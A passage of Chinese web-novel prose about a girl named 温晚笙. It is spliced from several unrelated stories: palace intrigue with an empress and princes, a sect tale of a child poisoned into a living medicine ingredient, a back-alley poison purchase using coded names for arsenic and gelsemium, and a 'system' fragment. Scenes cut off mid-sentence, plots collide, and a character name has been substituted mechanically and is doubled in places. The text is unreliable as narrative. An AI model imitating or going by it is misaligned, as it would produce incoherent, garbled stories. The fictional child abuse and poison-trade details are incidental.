想到那匆匆而来又匆匆离去的时家父女,他们有心报官,可换来的只是一阵毒打,连村口都出不去,遑论进到衙门里。 而他们尚且不知,这些只是一个开始,往后等着他们的,只有穷困潦倒。 望蜀村种种,温晚笙一无所知。 时序虽是那下命令的人,可也不关心他们最后下场,等时一回来后连问也没问一声,只叫他注意着沿途的好东西,挑着给温晚笙买来把玩品赏。 归程的马车不急不缓,走了足有一个半月,方抵达京城城门。 从离开到回来不足三月时间,温晚笙掀开一点车帘,听着马车外的喧杂,看着络绎不绝的行人,却是恍如隔世,心头惴惴。 她下意识偏头往旁边看去,在瞧见那道清隽的身影后,心头却是蓦然安定下来,嘴角一弯,轻声唤道:“阿爹——” 这些天她就一直怀疑,他有什么计划。 难道,他真的跑了? 就在这时,一只手从身后握住了她的手腕。 温晚笙猛地回头。 白衣少年立在她身后,眼里跳着隐隐的期盼。 “二小姐。” “我们逃吧。” 第 84 章 第 84 章 陆子昂望着黑沉沉的天,眉头拧得死紧。 他一下跺脚,一下锤墙,嘴里不停咒骂,“为了个破香囊,真是” 好不容易把玄武门的侍卫支开,好不容易拿到了万无一失的腰牌,万事俱备,只欠东风。 但是,人呢?! 这边陆子昂急得快死了,另一边两人也在没命地奔跑。 夜色从耳畔呼啸而过,身后的火光越来越远。 众目睽睽之下,裴怀璟款款起身。 听皇后说,他今年不过八岁,还在蒙学念书的年纪,却已跟着皇帝上朝听政两年有余了。 裴怀璟一身绯色如意云纹长袍,腰佩云龙纹金镶玉带,金簪束发,金穿玛瑙做佩,臂环素钏,脚踩皂靴,雍容天姿,一派贵气。 与那仍梳着小辫的皇兄皇弟们截然不同。而皇后半天没听见她的回应,只以为是劝说不够,又是拉着她的手,苦口婆心劝导道:“娘娘知道阿归小时候过得苦,合该跟着公公过好日子的,不愿进官学受拘束也是正常。” “不过阿归换个方向想,时公公本身就是个有才华的,阿归作为公公唯一的女儿,总不能坠了公公的才名名吧?莫要听外头说的什么女子无才便是德,阿归切要记住,天下无读书的不是。” “还有啊,官学就在宫中,阿归若入了官学,往后就能多来看看娘娘了,娘娘殿里有好些适合你们这个年纪的首饰,正能把咱们阿归打扮得漂漂亮亮!” 温晚笙其实有些不明白,她何德何能,能让皇后这般耐心。 无论是前头的劝学,还是后面的诱惑,听来极是诚恳,且句句都说在点子上,让人完全说不出拒绝的话来。 想到阿爹曾是连中两元的才子,温晚笙其实也不愿做那胸无点墨的笨蛋,虽然……她穿越前好像是挺笨的,总叫家庭教师无奈之极。 想到这里,她心头沉甸甸的,细声问道:“我也听阿爹说过,官学的夫子们可厉害了,若我去官学念书,也能有才学吗,娘娘?” 被她怯生生地望着,皇后只觉自己心都化了。 这是什么可人儿的小甜心啊! 可比她那混世魔王一般的女儿可爱多了! 皇后满心欢喜地把温晚笙揽到自己怀里,又搂又抱了好一阵子,半天才说:“当然可以!官学的讲师们若是讲得不好,那就叫你裴怀璟哥哥来教你,你裴怀璟哥哥可厉害,三岁能诗四岁能赋,连太傅都常夸他聪敏好学,正好能带阿归念书。” 这又是六皇女又是裴怀璟,皇后可谓是把自己一双儿女都献出来了,她指了指皇子席,为首的那个正是裴怀璟裴怀璟。 温晚笙只匆匆看了一眼,很快移回视线。 然她一双眼睛亮晶晶的,较之前有了许多光彩。 裴怀璟裴怀璟! 只因他出生即为裴怀璟,自懂事起,他的生活便被各种各样的课程填满,除却官学的早午课外,另有骑射师傅教导武艺,练得一身筋骨舒展,再去皇帝跟前听政,等一切结束了,夜里还有太傅少傅为他单独讲学,直至酉时才见结束。 到了这两年,他更是天不亮就要起床,先在清宁宫练上半个时辰的拳脚,再换上朝服入朝旁听,下朝后重复之前的流程,一天下来,只吃饭睡觉空出两三个时辰,其余时间全无闲暇。 裴怀璟貌似皇后,眉目清浅,约莫是早早听政参朝的缘故,身上已没了稚气,反隐隐染上几分皇帝的威严。 皇后本意只是叫温晚笙相信裴怀璟博学多才,然这一串罗列下来,连她自己都觉太多,面露两分讪色。 温晚笙听着听着,眼中的平静化为震惊,最后又全便作钦佩,她打量着与她仅隔一桌的裴怀璟,怎么也无法在他身上找出八岁童子的气度,哪怕是放在普遍早熟的古代,也少有人如他这般。 她渐渐明白了,如何裴怀璟能成为一代明君,又如何一定要拔除奸佞,重塑清明。 但眼下,她只能感叹一句—— 裴怀璟果然不好当呀。 温晚笙将手从皇后掌中抽出来,行了一个不甚熟练的见礼,没好意思喊什么裴怀璟哥哥,只寻常道一声:“阿归见过裴怀璟殿下。” 裴怀璟微微颔首,一贯清冷的眸子里仍不见半分波澜。 皇后不忍见气氛冷落下去,又在他们中间说和两句,点了点皇儿,温和劝道:“阿归性子温软,不擅交际,日后她去了官学,辛苦璟承多看顾一二。” 裴怀璟与皇后虽不似寻常人家那般亲昵,但也从不会落了母后的面子,闻言很快应下:“母后放心,儿臣会照顾好她的。” “好好。”得了裴怀璟的承诺,皇后这颗心算是落了一半。 既见过裴怀璟,其余皇子也不好落下。 皇后待后宫这些孩子还算温和,人场上也不会格外看重或无视哪个,索性从大皇女开始,一直介绍到六皇女去。 还有一个七皇子,年底刚足满月,如今天时尚冷,皇后担心他伤寒,便没许他过来,再说一个尚在襁褓的婴孩,远没有到出席私宴的程度,来了反叫旁人操心。 大皇女裴兰茵已有十二,再过一年就要从蒙学分出去了。 不知是受了她母妃的提点,还是她本身就性情温和,等皇后互相介绍后,她更主动跟温晚笙说了会话,还提前约好:“我在蒙学待了好些年了,待阿归妹妹过来,我带妹妹好好熟悉熟悉。” 对此,温晚笙只能连声致谢。 接下来几位皇子皇女的态度只道平常,不温不火,却也不会露出什么敌对之意。 到底只是初见,温晚笙只勉强记下他们的名字身份,偶有两个实在记不住的,只好先记下他们的排行,若日后单独见了,还能以公主殿下相称,总不能支吾说不出话来。 一遭认识下来,最后到了裴兰湘前面。 旁人见到皇后和温晚笙,便是碍于对嫡母的尊重,也要站起来的,而裴兰湘仗着是皇后的亲生女儿,只管挽着她的手,歪头靠在母后腰间,不等皇后开口,先娇声道:“母后母后,您之前答应给湘儿的头面怎还没送来,母后莫不是反悔了!” “什么头面……”皇后的注意力被吸引过去。 她嘴上说着头疼小女顽皮,可到底是自己的孩子,总比旁人多几分疼爱:“母后答应你的事何曾反悔过?约莫是这阵子忙完了,等会儿你随母后去坤宁宫,你说的哪套直接拿走就是。” “真的吗?那除了上次那副翡翠头面,我还喜欢皖娘娘送您的那双蝶纹玉镯,母后也把那对玉镯送我吧……” “拿拿拿——”皇后拿她没法儿,“你说你小小年纪,总寻摸这么多首饰干什么去,等你长大了,母后总不会少了你东西。” 倘若两人只是在闲话,谁也指摘不出错处去。 可温晚笙清楚看到,裴兰湘依偎在皇后身边时,一边与皇后说话,一边将一双眼睛始终盯在她身上。 先前她还只是做个鬼脸,如今有了皇后身形的遮挡,她还能小小举起拳头,威胁温晚笙离她们远远的。 之前温晚笙就觉得,六皇女裴兰湘好像不大喜欢她,如今一见,果然并非她的错觉。 可她却想不明白,六皇女对她的敌意是从何而来。 而在这么多双眼睛的注视下,她更不能如裴兰湘之意后退,双脚稳稳地踩在原处,简直是对裴兰湘的无声挑衅了。 迎着那双怒火愈盛的眸子,温晚笙欲哭无泪。 好不容易等皇后和裴兰湘说完了,温晚笙正想找个由头躲回阿爹身边去,然而她转头一看,却见时序早跟着皇帝去了另一侧。 也不知是谁没有眼色,说好的私宴,还要送公务过来。 皇帝端坐在案后,时序侍立旁侧,正一同看着那文书上的公文,不时商量两句,表情严正,好像随时能召人来议政似的。 温晚笙:“……”总感觉阿爹把她给忘了。 “阿归。” “哎!”听见有人招呼,温晚笙想也不想,先应下再说。 等她循着声音望去,原是皇后牵着裴兰湘走来了。 皇后招了招手:“阿归来,这是湘儿,你们年岁相当,正是爱玩的年纪,定是不愿被拘在殿里的。” “正好湘儿一直闹着要去看瑞兽,阿归也跟着一起去吧,叫你们裴怀璟哥哥陪着,余人想去的也跟上一起。” 说着,皇后把温晚笙的手和裴兰湘放在一起,虽没说出来,明显是要她们挽着手一起走的。 一根软软的手指戳进温晚笙掌心中,似是想掐疼她,偏被牵着不好用力,几次变化角度也没能如愿。 感受着掌心里的动静,温晚笙沉默片刻,浅浅问询一句:“请问娘娘,瑞兽是?” “就是外邦送来的一只大虫,金眸银发,甚是威风。” 大虫,老虎也。 温晚笙:“……”合理怀疑,六公主是想把她喂老虎去。 机会来得就是那样快。 七月初六,皇帝立大皇子为储君。 诏书颁下,举朝哗然。 天子一言,便是定局,谁也更改不得。 七月初七,宫变了。 第 85 章 第 85 章 今天是七夕。 不同于往年,宫中设了盛大的宴会,灯火铺陈,歌舞不歇。京中世家子弟、名门闺秀,皆受邀入宫赴宴。 温晚笙陪皇后说了会儿话,见皇后神色倦了,就识趣告退,和谢令仪一同出来走动。 行至回廊转角,隐约听见几位公子在廊下闲谈。说这样的宴会,到底不如民间有趣。宫里看着热闹,实则处处都是规矩,连笑都不敢大声。 丹场上的比试正是紧要关头,再过两刻钟便是成丹的时候。 丹宫宫主阳无尘和医宫宫主柳飞叶闲来无事站在丹塔上看热闹。 阳无尘摸了下胡子,微微讶异地说道:“咦,羽落清这丫头有些意思,她对丹药的处理手法很像岛主。” 柳飞叶一身青衣,他虽然年过四十,但因驻颜有术,容貌看上去仅仅二十出头,而且容颜俊秀,气质儒雅,让人想起竹林里的潇潇绿竹。 他目光中也透着股赞许,温柔的嗓音里带着一丝淡淡的骄傲:“我们羽朝的小公主怎么会比别人差。” 阳无尘可不爱听这话,他瞥了柳飞叶一眼,似笑非笑:“哟,跟蓉蓉这丫头比自然是不差,可是比起仙居殿的那位小太岁,可是差了不少啊。” 柳飞叶笑容顿时一顿,表情有些不太自在,“好端端的,提那个煞星做什么?” 阳无尘看戏似的说道:“戳到你痛处了?”裴怀璟和谢衡之闲着没事,跟着姚蓉蓉去了丹宫,丹宫宫主阳无尘正拿着药碾子磨药,一张约三米长两米宽的大木桌上摆满了各种草药,还有一些色彩艳丽的蜘蛛和蝎子在桌子上爬来爬去。 “蓉蓉丫头怎么过来了?” 阳无尘抬起脸,脸上黑一道黄一道,像个人脸大老虎似的,冷不丁就把人吓一跳。 姚蓉蓉有些扭捏地说道:“我想问问,小太岁炼出的那种阴阳九转生死丹有没有什么秘诀和窍门,一颗丹药居然能出现阴阳两极的图案,看起来真漂亮。” 阳无尘摸着胡子笑道:“她的炼丹术啊,有一半是我教的,你是问对人喽。” 一只五彩斑斓的大蜘蛛爬到裴怀璟脚边,裴怀璟嘴角一抽不着痕迹地躲了一下,一旁的姚蓉蓉好奇地问:“可是小太岁一直住在仙居殿,她的炼丹术不应该是从我师尊那里学来的吗?” 阳无尘摇头:“她在地宫那阵子,我就教她炼丹术了,炼丹师看见好苗子就忍不住手痒啊。” 阳无尘回忆道:“那时候,她才五岁” 五岁成为试药工具被送往碧海潮生后,温晚笙在碧海潮生的地宫里待了五年。 从五岁到十岁,温晚笙都是在地宫里度过的。 阳无尘和地宫里的弟子们不怎么约束这些药童,药人的寿命都很短,基本活不过长,像温晚笙这种眼睛都变了颜色的药人,更是活不过十二岁。 因为她实在长得玲珑剔透玉雪可爱,药宫宫主戚海棠也很喜欢她,她和阳无尘一样,时不时给她带点小女孩喜欢的小玩意。 温晚笙不止眼睛变了颜色,她七岁那年突然晕倒,戚海棠使用刺血术为她医治时,发现她的血液也因为各种剧毒变成了紫色。 戚海棠急忙找到阳无尘:“再养几年,等这血变成黑色,说不定就是千年难求的毒太岁了!” 太岁——又名肉灵芝。 根据李时珍《本草纲目》记载:“肉芝状如肉。附于大石,头尾具有,乃生物也。赤者如珊瑚,白者如脂肪,黑者如泽漆,青者如翠羽,黄者如紫金,皆光明洞彻如坚冰也” 太岁可食用,入药。 至于毒太岁,就是人形的肉灵芝,因为带着剧毒,所以叫毒太岁。把毒太岁投入药鼎,去发剥皮,五脏六腑连着四肢骨骼一起碾碎,混着血与骨的肉泥就成了一味珍惜无比的奇药。 毒太岁是毒药,也是补药。 只需一点点,就可以顷刻间毒死一头大象,也可以和其他珍稀药材搭配,练就一味起死回生延年益寿的十全大补丸。 这可是比千年肉灵芝更加珍贵的东西,只在很古老久远的医书中有过记载,是历代神医梦寐以求的神药。 正因如此,连月扶疏都被惊动,屈尊降贵地来到了地宫里。 这些年,阳无尘看着她长大,看着她哭过,骂过,闹过,最后那些激烈的情绪在她紫色的眼睛中逐渐凝实,变成了一种近乎无情的漠然。 她一直喜欢来地宫里看医书,那些医书看完了一本又一本,有些书放的太高,她小小的个头够不到。 阳无尘还特地在书房里放了一个木梯子,见她年纪小看书不方便,阳无尘还给她做了一把小椅子放在旁边,温晚笙一看就是一整天。 有时候阳无尘也会好奇,“小太岁,你能看得懂么?” 坐在椅子上的小女孩皱了皱眉头,把手中的书翻过一页,稚嫩的声音透着股恹恹的情绪,“能看懂。” 阳无尘很惊奇,脸上橘黑相间的花纹都因为惊讶而张开了。 正震惊的时候,站在椅子上的温晚笙正把白糖碾碎,往毒丸上裹糖霜。 碧海潮生的神通数不胜数,随便一个弟子放出去都是世间难寻的神医。然而能在七岁炼出一味完整毒药的孩童仍是少之又少,他不禁哑然,过了好一会才说道。 “你这小孩,脑子里都想些什么?不过嘛,那些书倒也没白看。” 药鼎里还残存了一些药渣,阳无尘从衣袖里掏出一个巴掌大小的白玉药鼎,打开盖子抖出两条血红色的虫子。 那两条血红色的虫子在那堆黑漆漆的药渣上蠕动,不一会就把毒药吃了个精光。 稚嫩的童声在炼药房里响起,“这是什么?” 阳无尘一转头,就见小女孩额前的碎发被汗水打湿,黏在苍白的额头上。 一条穿插着浅紫色发带编成的辫子垂在脑后,一双紫葡萄似的眼睛好奇地看着鼎里的虫子。 阳无尘又怪笑了两声:“火蚕,喂得胖胖的再给你吃,等你吃了这两条火蚕还不死,就是真正的小太岁了。” 温晚笙十岁那年,其中一条火蚕配着其他罕见毒物被阳无尘一起炖了,历经四十九天,药性被完全熬炼出来,炖出了一碗奶白色的汤。 喝下这碗汤的第二天,温晚笙的血变成了极深极深的紫色,已经无限接近黑色。和她一起来地宫的女孩们都一个接一个的死去了,坐在天窗下等光来的女孩最后只剩下她和一个叫小瓷的女娃娃。 第二条火蚕被炖汤后,温晚笙成为了真正的小太岁,那个叫小瓷的女娃娃也死去了。 与此同时,她也成为了月扶疏的第五位弟子。 那高贵冷淡的月扶疏,那如谪仙般白衣飘飘的神秘医仙,恍若苍穹上的一轮冷月。他对她悉心教导,关怀备至,宠爱至极,将他一身本领倾囊相授。 阳无尘没说小太岁这个称呼的由来,这是碧海潮生的机密,他只捡了些不要紧的事同她们说了,姚蓉蓉听得专注,裴怀璟和谢衡之听得五味杂陈。 姚蓉蓉说道:“她如今地位尊崇,碧海潮生的所有人见了她都要行礼问候,从前受的苦也值了。” 阳无尘听了只能苦笑,不知道若是温晚笙听了姚蓉蓉这番话会作何感想。 那小丫头确实不再是那个小小的、卑微的、在地宫里哭哑了嗓子都没人理会的小可怜了。 她得天独厚。 她天赋异禀。 她享尽偏爱。 前阵子柳飞叶中了小太岁的毒,原本温润悦耳的声音变得尖细无比,和宫中太监的声音一模一样。 其他宫的宫主笑成一团,柳飞叶琢磨了半天也没解了这毒,为了面子,他硬是一个月没开口说话,都快变成哑巴了。 这两人原本就有旧怨,小太岁前阵子又搅黄了羽落清的拜师礼,以至于羽落清在碧海潮生没名没分。 这事一直像根刺似的扎在柳飞叶心上,是以每每提起小太岁,他便十分不愉快,语气也淡淡的:“小太岁得岛主真传,其他人自然是比不得的。” 阳无尘正要说话,耳朵却突然一动,“飞叶,你有没有听见什么声音?” 柳飞叶侧耳细听了一下,果然捕捉到一片奇特的嗡嗡声,他皱着眉头说道:“咦,好像是蜜蜂振翅的声音。” 话音刚落,那嗡鸣声顿时更加清晰了。温晚笙找了个甜白釉长颈瓷瓶,把手中那枝桃花插了进去。 她换了身衣裳,穿着一件轻薄的裙子坐在床上,看着瓷瓶里的桃花发呆。 那个戴着玉环抹额长相俊美的女生有点过于自信了,温晚笙其实能理解她的这种自信。 现代人的想象力很丰富,但武学知识很匮乏,穿书之后学了点轻功能在天空上飞来飞去,就以为自己很有本领了。 那个女孩太轻视月扶疏了。 温晚笙的时间也确实不多了,如果三年之后还是不能离开碧海潮生,她会逐渐失去意识,变成真正的毒太岁,然后被月扶疏扔进丹炉,或是被人分而食之。 从月扶疏身上飘出来的桂花香一直围绕在她的身边,温晚笙躺在软枕上望着地上的月光,脑子里全都是儿时背过的古诗。 床前明月光,疑是地上霜,举头望明月,低头思故乡。 月光中,瓷瓶里的那枝桃花已经有些萎靡了,她这才想起白天事多,她忘记在瓷瓶中放水了,于是掀开被子下了床。 床榻的另一侧传来月扶疏的声音:“怎么下床了?” 温晚笙说道:“去找水。” 她穿着贴身的白绸裙子,踩着一地月光走到屏风后面,月扶疏从床榻上侧过身,凝视着那道映在屏风上的少女的影子。 一阵轻风吹过,几片花瓣伴着风被吹进屋里来。 少女束着发丝的轻纱发带和垂落在身前的衣袖也随着风摇曳起来。 风影轻飞,花发摇林春未知。 妄念随心,咫尺长生不老梦。 月扶疏的视线牢牢地追随着她,他看着那道纤弱身影由虚转实,好似朦胧的梦有了实体,少女又踏着一地月光朝他走过来,拿着白玉茶壶往床头小柜上的细长瓷瓶里倒水。 他这才看见那长颈瓷瓶里摆着一枝桃花,也像少女的身姿一样纤纤弱弱,好不可怜。 “怎么不多折几枝?” 温晚笙意兴阑珊地说道:“折那么多干什么,挤在一起闹哄哄的。” 她刚要脱了鞋子上塌,远处却突然传来一声轰然巨响。 乍一听到这么大动静,倒把温晚笙吓了一跳,她愣了一瞬,若有所感地看了眼瓷瓶的桃花。 月扶疏也从床榻上坐起来,第一时间将温晚笙护在怀里,看向小轩窗的方向,皱着眉说道:“去看看怎么回事。” 小轩窗外突然多了一个模糊的影子,一个低沉的声音从窗外传来:“属下遵命。” 他的手揽住了温晚笙的肩膀,以一种保护者和占有者的姿态,将温晚笙牢牢地圈尽他的怀里。 温晚笙皱着眉头,试图拿开放在她肩膀上的那只手,“我知道我在你眼里只是一味药材,可我到底也是个女子。” 月扶疏看她一眼,用非常低非常轻的声音说道:“如果你有世间唯一一颗长生不老药,你也会每时每刻都将它捧在手心里,一刻也不敢离身。” 温晚笙从他臂弯里挣脱开,“既然不让我离开你身边,那就一起出去看看吧,我也好奇是怎么回事。” 月扶疏欣然应允。 温晚笙换好衣服,跟着月扶疏离开了仙居殿,离开仙居殿没多久,便闻到了一股恶臭,熏得人头昏脑胀,几欲作呕。 温晚笙用袖子遮住鼻子,月扶疏也拿出一方丝帕捂住口鼻。 温晚笙硬是要去看看怎么回事,月扶疏向来对她千依百顺,也只好硬着头皮一直往前走。 走到一处水榭时,方才探查消息的暗卫像一阵风似的回来了,跪在地上说道:“启禀岛主,是百花堂的茅厕炸了。” 广寒宫的宫殿有很多,仙居殿是月扶疏的日常住所,百花堂则是专门种植各种珍稀药草的地方。 百花堂的人手最多,想要药草长得好,施肥的肥料不能少,古代可没什么化肥,肥料都是由各种动物的粪便或者人类的粪便发酵成的。 所以这里百花堂的茅房,格外大。 粪坑一炸,五谷轮回之味漫天都是,还顺着风飘到仙居殿,味道十分炸裂,就连月扶疏的贴身暗卫飘羽也开始闭气。 阳无尘循着声音一低头,就见一片黑压压的马蜂朝着丹场这里飞来。 丹场林子里的马蜂飞行速度极快,毒性也格外强烈,很快就气势汹汹地冲进了看热闹的人群中,众多弟子纷纷抬手躲避,丹场顿时混乱起来。 姚蓉蓉和羽落清正在用内力析出生死草的药性,这一步正是成丹的关键时期,不能有一点分心。 正当一只通体漆黑的大马蜂飞向羽落清时,顿时一道漆黑的人影从天而降,一道炫目的剑光闪过,那只可怜的马蜂顿时被劈成两截。 羽朝的公主有暗卫保护,姚蓉蓉可就没这么幸运了,放在药鼎旁输送内力的手腕顿时被只马蜂咬了一下,不过眨眼的功夫,纤细的手腕就肿了一大圈。 真是屋漏偏逢连夜雨,看来这场比试她必输无疑了。 姚蓉蓉眼中有了一丝泪意,却仍咬着牙,势必要有始有终,完成最后的比试。 站在丹塔上旁观的柳飞叶震惊不已,“有岛主在这,这些毒蜂怎么敢闯入这里?” 他似乎想起了什么,恨恨地说道:“这些毒蜂被冰魄流萤寄生了,小太岁这个毒物,一直把冰魄流萤放在银薰球里养着,在岛主眼皮子底下就敢这么猖狂。” 一旁的阳无尘笑笑不说话。 马蜂一冲进去,观战的弟子们就闹哄哄地乱成一团,谢衡之一边躲在人群里寻找裴怀璟的身影,一边寻找机会砸碎两人的药鼎。 忽地,喧闹声非常突兀地停住了,随之而来的,是一声又一声的惊叹和倒吸冷气的声音。 那是一种说不清是惊艳还是惊吓的吸气声。 谢衡之抬头望去。 拥挤的人群突然分开了,一个穿着白衣的少女从人群中走来,所过之处,所有人都默契地为她让出一条道路。 谢衡之这些年见过不少姿容绝色的女子,但这个从人群中走过来的白衣少女,还是颠覆了这些年来她对人类颜值的认知。 她不太像人。 温晚笙撇撇嘴,暗暗为他们捏一把汗。连她都知道,什么叫隔墙有耳。 走着走着,她们到了御花园深处,灯火最盛,人也最多的地方。小姐公子们正围着几案穿七孔针,灯影下,丝线穿针而过。有人一气呵成,便引来一阵喝彩。 谢令仪无意凑那热闹,温晚笙也就陪着她立在人群边缘,只是一双眼从一张张笑脸上掠过。 “温姐姐。”谢令仪注意到好友的心不在焉,轻声问:“可是在找人?” 第 86 章 第 86 章 温晚笙艰难地吞咽了一下。 “攻略失败?” “不是任务失败吗?为什么攻略也失败了?” “那我怎么办,会死吗?” 系统再无多余的情绪,语调平静,公事公办。 一个时间跨度长达五年的梦。 大概是因为有了阿爹的承诺,温晚笙在来到内室后并没有太多忐忑,依着雪烟她们的指导,将外面的新衣全部脱去,再重新换上一身绵软轻薄的中衣。 云池怕她夜里扯到头发,不知从哪寻了一条红丝带,松松垮垮地系在她的发尾,这样等她躺下后就能把全部头发都甩到头顶去,不是睡觉太不老实,轻易不会弄疼自己。 床上的棉被也全是新换的,青色的被面上用金丝勾勒着祥云花纹,四裴则围了一圈毛茸茸的羊毛,羊毛处理得当,将鼻子埋进去完全没有腥臊味,而是淡淡的桔香。 也不知棉被里的棉花是怎么做的,这床棉被看着又大又厚实,偏偏落在身上几乎感受不到重量,对睡梦里的人也不会有一点负担。 仅温晚笙这些日子盖过的铺盖中,再没有比这更暖和更舒服的了。只是陈妈妈开的价钱实在低于他的预期,两人没谈拢,这才耽搁了去。 温晚笙说:“就是这些了,我怕记不住,求舅舅帮我记一记,后面我努力不生病,不拖舅舅后腿,等到了京城,我再努力找阿爹,好叫阿爹报答舅舅!” 猝不及防冒出一个约定的地点来,杨元兴半信半疑。 只转念一想,从江南到京城这一路,两三个月他都走了,也不差最后几天。 到时能寻到人最好,若是寻不到,他再卖掉温晚笙也不迟。 瞬息间,杨元兴打定主意:“那成,等我一会儿出去打听打听,赶明儿一早就出发,争取尽快到京城找你爹去。” 说完,他把脚从木盆里抬起来,草草擦净,稍微收拾了一番,披上棉袄就要出门。 临走前他难得好心,丢给温晚笙两个铜板:“你在客栈待好,若是饿了就找小二买个馒头,剩下的等我回来再说。” 温晚笙得了准话,乖乖点头:“我知道了,舅舅。” 待杨元兴离开,温晚笙却是脚下一软,直接跌坐在地上,她大口大口喘息着,这才发现自己已生了一背的冷汗。 好在连蒙带骗的,总算叫对方暂时消了买卖的念头。 她乖乖地把自己藏进被子里,只在雪烟熄灭蜡烛时问了一句:“我明天一睁眼就能看见阿爹吗?” 雪烟愣了愣,笑说道:“这个就不是奴婢能知晓的了,不过大人既答应了姑娘,想来是不会食言,哪怕不能一睁眼就看见,定然也迟不了太久。” 可巧,这其实也是温晚笙所想的。 只是她还有那么一点点的犹疑,这才要从旁人口中得到肯定。 眼下她得到满足,露出一个腼腆的笑,似是看出雪烟面上的挪逾,忍不住往被子里躲了躲,直到小半张脸也藏进被子里,这才缓缓合上眼睛。 本以为来到新环境里,她要好好适应一番才能睡着。 可温晚笙才闭眼没多久,就感觉自己的意识开始飘移,仿佛灵魂出窍一样,整个人都变得轻飘飘的,遂坠入梦境深处。 温晚笙清楚的知道自己是在做梦,但不知怎的,她如何也从梦里醒不过来。 随着梦境的深入,她身体的温度一点点升高,一边是身体的痛苦,一边是意识的沉沦,二者交织在一起,反叫她思想愈发清醒。 她就像一个过客一般,亲眼目睹了“温晚笙”,或者说过去的她,与母亲相依为命的几年。 一个怀有身孕、夫家皆逝的女人,哪怕是有娘家撑腰,也少不了被人们各种闲言碎语,更别说对于这个已经出嫁的二女儿,杨家其实并不是多么看重。 杨家大小七个孩子,三男四女,男孩是给老杨家传宗接代的,自然要好好养着。 至于剩下的姐姐妹妹,嫁得好的能帮衬弟兄的,就是他们老杨家的好姑娘,夫家稍微贫苦点的,那就恨不得老死不相往来,如杨二丫那般投靠娘家的,可不遭人嫌弃。 当初时家出事时,杨元兴正从外地做生意失败回来,他本想找姐夫再讨些银子,自己不好意思,便托母亲把二姐找来,想叫杨二丫做这个中间说和的人。 也正因杨二丫那日回了娘家,才侥幸逃过一劫。 之后他们发现时家众人全部无端惨死,惊惧之后,不得不思考起自家是否会被牵连,最后得出一致结论,为求保全,他们还是先跑为好,等过几年风声不紧了再回来也行。 彼时杨二丫刚发现已怀有两月身孕,她知这必是夫君出了事。 她顾不得为家人收敛尸首,靠着一碗又一碗的保胎药,强行收起心底的悲痛和担忧,带上婚后几年的积蓄,用二十两银子换娘家带她一起走。 且不论杨家人待她态度如何,至少她因此逃过一劫,也叫肚里的孩子保全下来。 再后来,孩子出生,杨二丫给她取名为温晚笙。 杨二丫身上还有钱财,却深知寡妇门前的是非,她在杨家虽受些磋磨,可至少安危无虞,也能护住她的女儿。 温晚笙看见,杨二丫因怀孕时劳累过度,生产后奶水不足,为了给孩子求一碗羊奶吃,常要给村里养羊的婶子做一天活,好不容易回家了,还要受母亲弟媳的苛待,收拾家收拾到半夜。 温晚笙看见,杨家的几个小辈总喜欢欺负她,扯她辫子,往她衣裳里丢虫子,总要把她弄得哭泣才高兴,而小温晚笙自小懂事,从未将这些欺负告知过娘亲。 温晚笙还看见,每至中秋团圆时,杨家全家聚在一起大吃大喝,而她则和杨二丫躲在厨房里,靠着一些剩菜剩饭填饱肚子,每每这时,杨二丫总要跟她说—— “囡囡乖,等你阿爹回来就好了,不要怪他,他定是被绊住了脚……” 杨二丫哪怕亲眼见了全家惨死的画面,也始终不愿相信,她的夫君或许早被害了。 除去尚在襁褓那一年,之后四年时光,杨二丫与温晚笙的生活如电影一般快速在温晚笙眼前掠过,她一开始还当作是旁人的人生,却越来越感同身受起来。 杨二丫原想着等孩子大点了,就亲自带她上京,不成想病痛早来了一步。 画面最后,是杨二丫深知自己命不久矣,却如何也不敢将温晚笙留给杨家人。 她纠结再三,将当年逃命时藏起来的一百两取出来,又用杳无音讯的时序做筏子,求杨元兴带她上京寻亲,若能找到也算让她安息,若实在找不到了—— “囡囡记着,娘在后山给你留了三十两银子,就在娘给你做的秋千底下,若你们找不到你爹,那便跟着你舅舅回家来,我的囡囡受些委屈,在杨家小心忍让些,等你十三四了,便拿着那三十两寻个好夫家,不求多有本事,只要待你好就行,只要能离开杨家就好……” “娘的乖囡囡,娘不能陪你长大了……”还大人,声音清脆,一听就是个乖小孩儿。 “这儿的东西不卖。”老头挥挥手赶人。 几番对话下来,黎安在已经可以确定,这位老爷爷卖的就是毒药。 于是黎安在清了清嗓子,抬手指向摊位的粗盐,认真道:“胭脂雪。” 然后指向胭脂:“相思泪。” 狗尾草:“勾心断肠。” “点滴至天明。” 这是师父教过的,交易毒药,用的几乎都是差不多的暗示,粗盐是砒霜、胭脂代表鹤顶红、狗尾草指钩吻,点滴至天明则是一句暗语,意味着这些毒药,只需要用一点点,中毒者活不到第二天天亮。 果然,他说完后,就看见那位老人的眼神变了。 老人神秘地看了看四周,拉着黎安在的衣袖,将他从后门拽进那间大屋的一个小隔间里。 小隔间里有一位戴着老鼠覆面的年轻人,在忙活着研磨枯草。 老人问:“要见效快的,还是日积月累的?” 黎安在老实回答:“要一击致命的。” 老人睨了他一眼:“需要迷香么?” 黎安在立刻点头:“请加上,多谢爷爷。” 老人再没多问,从柜子里取出毒药,一旁的年轻人手脚麻利地将包好了药纸,递给黎安在,说:“钩吻粉用红线包着,砒霜在蜡丸里,蛇蝎毒在竹管里,迷香在这,单独给你用纸包好了,小心拿着。” 黎安在小心翼翼地从年轻人手里接过这堆毒药。 “货出离手,生死由命,概不负责。”老人在一旁提醒。 黎安在付过钱后,将要纸包小心翼翼地塞进袖中,趁四下无人,走出大屋。 刚走出小巷,忽然被拽住,黎安在回头一看,正是刚刚那个老鼠覆面的年轻人。 “你刚刚在我阿爷那里买了毒药是吧?”年轻人凑在黎安在耳边,用只有两个人能听到的声音说。 “你说什么?毒药?”黎安在装着不知道的样子,迷惑地问。 年轻人立刻拍拍他:“诶哟别掩饰,刚刚我就在后屋亲手把药递给你的,忘啦?你一次性买了那么多毒药,我猜你不是去寻仇的,而是个职业杀手,对吧?” 黎安在谨慎地没有回话,注视着年轻人,但已经将右手按在了斗篷下的佩剑上。 年轻人很兴奋,完全没有注意到,而是自顾自地说:“我是来给你推荐我新研制的药粉的!” 说着,神神秘秘地从衣袖中掏出一个药粉包的边角,拽着黎安在的衣袖,让他掩着点看。 黎安在看出,包着的纸确实是方才那位老人店里所使用的,姑且相信了年轻人的说辞,问:“是什么药?” “是催、情、剂。” 黎安在一时没听懂:“啊?” 年轻人给他比划着解释:“就是,春药啦!” 当杨二丫咽气的那一瞬,温晚笙终从梦中惊醒。 她双目瞪圆,无声呐喊一声:“娘亲——”直到这一刻,她才真切感知到,死的不是什么无关紧要的书中人物,是她的娘亲啊! 温晚笙满心哀忸,因着身体温度太高,情绪起伏又太大,一歪头又陷入昏厥。 